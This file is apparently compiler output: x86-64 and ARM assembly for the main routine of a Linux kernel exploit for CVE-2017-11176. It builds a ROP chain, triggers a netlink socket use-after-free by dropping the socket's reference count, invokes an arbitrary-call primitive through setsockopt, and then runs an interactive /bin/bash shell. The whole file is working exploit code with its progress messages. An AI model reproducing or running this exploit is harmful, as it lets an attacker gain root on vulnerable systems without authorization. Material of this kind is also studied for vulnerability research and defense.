	.file	"extr_45553.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"[ ] -={ CVE-2017-11176 Exploit }=-"
	.align 8
.LC1:
	.string	"[-] failed to migrate to CPU#0"
	.align 8
.LC2:
	.string	"[+] successfully migrated to CPU#0"
	.align 8
.LC3:
	.string	"[-] failed to allocate userland structures!"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC4:
	.string	"[+] ROP-chain ready"
	.section	.rodata.str1.8
	.align 8
.LC5:
	.string	"[-] failed to initialize reallocation!"
	.section	.rodata.str1.1
.LC6:
	.string	"[+] reallocation ready!"
	.section	.rodata.str1.8
	.align 8
.LC7:
	.string	"[-] failed to find netlink candidates"
	.section	.rodata.str1.1
.LC8:
	.string	"[+] netlink candidates ready:"
.LC9:
	.string	"[+] target.pid = %d\n"
.LC10:
	.string	"[+] guard.pid  = %d\n"
.LC11:
	.string	"[-] dup"
	.section	.rodata.str1.8
	.align 8
.LC12:
	.string	"[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n"
	.section	.rodata.str1.1
.LC13:
	.string	"[+] guard socket closed"
.LC14:
	.string	"[-] reallocation failed!"
	.section	.rodata.str1.8
	.align 8
.LC15:
	.string	"[+] reallocation succeed! Have fun :-)"
	.align 8
.LC16:
	.string	"[ ] invoking arbitrary call primitive..."
	.section	.rodata.str1.1
.LC17:
	.string	"[-] setsockopt"
.LC18:
	.string	"[+] arbitrary call succeed!"
.LC19:
	.string	"[+] exploit complete!"
.LC20:
	.string	"[ ] popping shell now!"
.LC21:
	.string	"/bin/bash"
.LC22:
	.string	"-i"
.LC23:
	.string	"[-] exploit failed!"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r13
	push	r12
	sub	rsp, 48
	.cfi_offset 13, -24
	.cfi_offset 12, -32
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -24[rbp], rax
	xor	eax, eax
	movsx	rax, DWORD PTR NB_REALLOC_THREADS[rip]
	mov	rcx, rsp
	mov	r12, rax
	lea	rax, 15[0+rax*4]
	mov	rdx, rax
	and	rax, -4096
	sub	rcx, rax
	and	rdx, -16
	mov	rax, rcx
	cmp	rsp, rax
	je	.L3
.L22:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rax
	jne	.L22
.L3:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L23
.L4:
	lea	rdi, .LC0[rip]
	mov	r13, rsp
	call	puts@PLT
	xor	eax, eax
	call	migrate_to_cpu0@PLT
	test	rax, rax
	jne	.L24
	lea	rdi, .LC2[rip]
	call	puts@PLT
	xor	eax, eax
	call	allocate_uland_structs@PLT
	test	rax, rax
	jne	.L25
	mov	rdi, QWORD PTR g_fake_stack[rip]
	call	build_rop_chain@PLT
	lea	rdi, .LC4[rip]
	call	puts@PLT
	xor	esi, esi
	mov	rdi, r13
	lea	edx, 0[0+r12*4]
	call	memset@PLT
	mov	esi, DWORD PTR NB_REALLOC_THREADS[rip]
	mov	rdi, r13
	call	init_reallocation@PLT
	test	rax, rax
	jne	.L26
	lea	rdi, .LC6[rip]
	call	puts@PLT
	lea	rsi, g_guard[rip]
	lea	rdi, g_target[rip]
	call	find_netlink_candidates@PLT
	test	rax, rax
	jne	.L27
	lea	rdi, .LC8[rip]
	call	puts@PLT
	mov	esi, DWORD PTR g_target[rip]
	lea	rdi, .LC9[rip]
	xor	eax, eax
	call	printf@PLT
	mov	esi, DWORD PTR g_guard[rip]
	lea	rdi, .LC10[rip]
	xor	eax, eax
	call	printf@PLT
	lea	rsi, g_guard[rip]
	lea	rdi, g_target[rip]
	call	fill_receive_buffer@PLT
	test	rax, rax
	jne	.L6
	mov	edi, DWORD PTR g_target[rip+4]
	call	_dup@PLT
	mov	DWORD PTR unblock_fd[rip], eax
	test	eax, eax
	js	.L12
	mov	edi, DWORD PTR g_target[rip+4]
	call	_dup@PLT
	mov	r12d, eax
	test	eax, eax
	js	.L12
	mov	esi, DWORD PTR unblock_fd[rip]
	mov	edx, eax
	lea	rdi, .LC12[rip]
	xor	eax, eax
	call	printf@PLT
	mov	esi, DWORD PTR unblock_fd[rip]
	mov	edi, DWORD PTR g_target[rip+4]
	call	decrease_sock_refcounter@PLT
	test	rax, rax
	jne	.L6
	mov	esi, DWORD PTR unblock_fd[rip]
	mov	edi, r12d
	call	decrease_sock_refcounter@PLT
	test	rax, rax
	jne	.L6
	call	realloc_NOW@PLT
	mov	edi, DWORD PTR g_guard[rip+4]
	call	close@PLT
	lea	rdi, .LC13[rip]
	call	puts@PLT
	mov	edx, DWORD PTR MAGIC_NL_GROUPS[rip]
	mov	esi, DWORD PTR MAGIC_NL_PID[rip]
	mov	edi, DWORD PTR unblock_fd[rip]
	call	check_realloc_succeed@PLT
	test	eax, eax
	je	.L28
	lea	rdi, .LC15[rip]
	call	puts@PLT
	lea	rdi, .LC16[rip]
	call	puts@PLT
	mov	edx, DWORD PTR NETLINK_NO_ENOBUFS[rip]
	mov	esi, DWORD PTR SOL_NETLINK[rip]
	lea	rcx, -52[rbp]
	mov	edi, DWORD PTR unblock_fd[rip]
	mov	r8d, 4
	mov	DWORD PTR -52[rbp], 3535
	call	_setsockopt@PLT
	test	rax, rax
	jne	.L29
	lea	rdi, .LC18[rip]
	call	puts@PLT
	lea	rdi, .LC19[rip]
	call	puts@PLT
	lea	rdi, .LC20[rip]
	call	puts@PLT
	lea	rdi, .LC21[rip]
	lea	rax, .LC22[rip]
	xor	edx, edx
	lea	rsi, -48[rbp]
	mov	QWORD PTR -48[rbp], rdi
	mov	QWORD PTR -40[rbp], rax
	mov	QWORD PTR -32[rbp], 0
	call	execve@PLT
	xor	eax, eax
.L1:
	mov	rcx, QWORD PTR -24[rbp]
	xor	rcx, QWORD PTR fs:40
	jne	.L30
	lea	rsp, -16[rbp]
	pop	r12
	pop	r13
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L23:
	.cfi_restore_state
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L4
.L24:
	lea	rdi, .LC1[rip]
	call	puts@PLT
.L6:
	lea	rdi, .LC23[rip]
	call	puts@PLT
	xor	eax, eax
	call	PRESS_KEY@PLT
	or	eax, -1
	jmp	.L1
.L12:
	lea	rdi, .LC11[rip]
	call	perror@PLT
	jmp	.L6
.L25:
	lea	rdi, .LC3[rip]
	call	puts@PLT
	jmp	.L6
.L26:
	lea	rdi, .LC5[rip]
	call	puts@PLT
	jmp	.L6
.L27:
	lea	rdi, .LC7[rip]
	call	puts@PLT
	jmp	.L6
.L28:
	lea	rdi, .LC14[rip]
	call	puts@PLT
	jmp	.L6
.L29:
	lea	rdi, .LC17[rip]
	call	perror@PLT
	jmp	.L6
.L30:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	unblock_fd,4,4
	.comm	g_target,8,8
	.comm	g_guard,8,8
	.comm	g_fake_stack,8,8
	.comm	SOL_NETLINK,4,4
	.comm	NETLINK_NO_ENOBUFS,4,4
	.comm	NB_REALLOC_THREADS,4,4
	.comm	MAGIC_NL_PID,4,4
	.comm	MAGIC_NL_GROUPS,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_45553.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"[ ] -={ CVE-2017-11176 Exploit }=-\000"
	.align	2
.LC1:
	.ascii	"[-] failed to migrate to CPU#0\000"
	.align	2
.LC2:
	.ascii	"[+] successfully migrated to CPU#0\000"
	.align	2
.LC3:
	.ascii	"[-] failed to allocate userland structures!\000"
	.align	2
.LC4:
	.ascii	"[+] ROP-chain ready\000"
	.align	2
.LC5:
	.ascii	"[-] failed to initialize reallocation!\000"
	.align	2
.LC6:
	.ascii	"[+] reallocation ready!\000"
	.align	2
.LC7:
	.ascii	"[-] failed to find netlink candidates\000"
	.align	2
.LC8:
	.ascii	"[+] netlink candidates ready:\000"
	.align	2
.LC9:
	.ascii	"[+] target.pid = %d\012\000"
	.align	2
.LC10:
	.ascii	"[+] guard.pid  = %d\012\000"
	.align	2
.LC11:
	.ascii	"[-] dup\000"
	.align	2
.LC12:
	.ascii	"[+] netlink fd duplicated (unblock_fd=%d, sock_fd2="
	.ascii	"%d)\012\000"
	.align	2
.LC13:
	.ascii	"[+] guard socket closed\000"
	.align	2
.LC14:
	.ascii	"[-] reallocation failed!\000"
	.align	2
.LC15:
	.ascii	"[+] reallocation succeed! Have fun :-)\000"
	.align	2
.LC16:
	.ascii	"[ ] invoking arbitrary call primitive...\000"
	.align	2
.LC17:
	.ascii	"[-] setsockopt\000"
	.align	2
.LC18:
	.ascii	"[+] arbitrary call succeed!\000"
	.align	2
.LC19:
	.ascii	"[+] exploit complete!\000"
	.align	2
.LC20:
	.ascii	"[ ] popping shell now!\000"
	.align	2
.LC21:
	.ascii	"/bin/bash\000"
	.align	2
.LC22:
	.ascii	"-i\000"
	.align	2
.LC23:
	.ascii	"[-] exploit failed!\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC24:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, fp, lr}
	add	fp, sp, #20
	sub	sp, sp, #32
	ldr	r6, .L23
	ldr	r3, .L23+4
	ldr	r4, [r6]
	ldr	r3, [r3]
	str	r3, [fp, #-24]
	mov	r3,#0
	lsl	r4, r4, #2
	add	r3, r4, #7
	bic	r3, r3, #7
	sub	sp, sp, r3
	ldr	r0, .L23+8
	bl	puts
	bl	migrate_to_cpu0
	cmp	r0, #0
	bne	.L16
	ldr	r0, .L23+12
	bl	puts
	bl	allocate_uland_structs
	subs	r5, r0, #0
	bne	.L17
	ldr	r3, .L23+16
	add	r7, sp, #8
	ldr	r0, [r3]
	bl	build_rop_chain
	ldr	r0, .L23+20
	bl	puts
	mov	r2, r4
	mov	r1, r5
	mov	r0, r7
	bl	memset
	mov	r0, r7
	ldr	r1, [r6]
	bl	init_reallocation
	cmp	r0, #0
	bne	.L18
	ldr	r7, .L23+24
	ldr	r4, .L23+28
	ldr	r0, .L23+32
	bl	puts
	mov	r1, r7
	mov	r0, r4
	bl	find_netlink_candidates
	cmp	r0, #0
	bne	.L19
	ldr	r0, .L23+36
	bl	puts
	ldr	r1, [r4]
	ldr	r0, .L23+40
	bl	printf
	ldr	r1, [r7]
	ldr	r0, .L23+44
	bl	printf
	mov	r1, r7
	mov	r0, r4
	bl	fill_receive_buffer
	cmp	r0, #0
	bne	.L3
	ldr	r0, [r4, #4]
	bl	_dup
	ldr	r5, .L23+48
	cmp	r0, #0
	str	r0, [r5]
	blt	.L9
	ldr	r0, [r4, #4]
	bl	_dup
	subs	r6, r0, #0
	blt	.L9
	mov	r2, r6
	ldr	r1, [r5]
	ldr	r0, .L23+52
	bl	printf
	ldr	r0, [r4, #4]
	ldr	r1, [r5]
	bl	decrease_sock_refcounter
	cmp	r0, #0
	bne	.L3
	mov	r0, r6
	ldr	r1, [r5]
	bl	decrease_sock_refcounter
	cmp	r0, #0
	bne	.L3
	bl	realloc_NOW
	ldr	r0, [r7, #4]
	bl	close
	ldr	r0, .L23+56
	bl	puts
	ldr	r3, .L23+60
	ldr	r2, .L23+64
	ldr	r1, [r3]
	ldr	r2, [r2]
	ldr	r0, [r5]
	bl	check_realloc_succeed
	cmp	r0, #0
	beq	.L20
	ldr	r0, .L23+68
	bl	puts
	ldr	r0, .L23+72
	bl	puts
	mov	r1, #4
	ldr	r3, .L23+76
	ldr	r2, .L23+80
	ldr	ip, .L23+84
	ldr	r0, [r5]
	str	r1, [sp]
	ldr	r1, [r3]
	ldr	r2, [r2]
	sub	r3, fp, #40
	str	ip, [fp, #-40]
	bl	_setsockopt
	subs	r4, r0, #0
	bne	.L21
	ldr	r0, .L23+88
	bl	puts
	ldr	r0, .L23+92
	bl	puts
	ldr	r0, .L23+96
	bl	puts
	ldr	r0, .L23+100
	ldr	r3, .L23+104
	mov	r2, r4
	sub	r1, fp, #36
	str	r4, [fp, #-28]
	str	r0, [fp, #-36]
	str	r3, [fp, #-32]
	bl	execve
.L1:
	ldr	r3, .L23+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-24]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L22
	mov	r0, r4
	sub	sp, fp, #20
	@ sp needed
	pop	{r4, r5, r6, r7, fp, pc}
.L16:
	ldr	r0, .L23+108
	bl	puts
.L3:
	ldr	r0, .L23+112
	bl	puts
	mvn	r4, #0
	bl	PRESS_KEY
	b	.L1
.L9:
	ldr	r0, .L23+116
	bl	perror
	b	.L3
.L17:
	ldr	r0, .L23+120
	bl	puts
	b	.L3
.L18:
	ldr	r0, .L23+124
	bl	puts
	b	.L3
.L19:
	ldr	r0, .L23+128
	bl	puts
	b	.L3
.L20:
	ldr	r0, .L23+132
	bl	puts
	b	.L3
.L21:
	ldr	r0, .L23+136
	bl	perror
	b	.L3
.L22:
	bl	__stack_chk_fail
.L24:
	.align	2
.L23:
	.word	NB_REALLOC_THREADS
	.word	.LC24
	.word	.LC0
	.word	.LC2
	.word	g_fake_stack
	.word	.LC4
	.word	g_guard
	.word	g_target
	.word	.LC6
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	unblock_fd
	.word	.LC12
	.word	.LC13
	.word	MAGIC_NL_PID
	.word	MAGIC_NL_GROUPS
	.word	.LC15
	.word	.LC16
	.word	SOL_NETLINK
	.word	NETLINK_NO_ENOBUFS
	.word	3535
	.word	.LC18
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.word	.LC22
	.word	.LC1
	.word	.LC23
	.word	.LC11
	.word	.LC3
	.word	.LC5
	.word	.LC7
	.word	.LC14
	.word	.LC17
	.size	main, .-main
	.comm	unblock_fd,4,4
	.comm	g_target,8,4
	.comm	g_guard,8,4
	.comm	g_fake_stack,4,4
	.comm	SOL_NETLINK,4,4
	.comm	NETLINK_NO_ENOBUFS,4,4
	.comm	NB_REALLOC_THREADS,4,4
	.comm	MAGIC_NL_PID,4,4
	.comm	MAGIC_NL_GROUPS,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
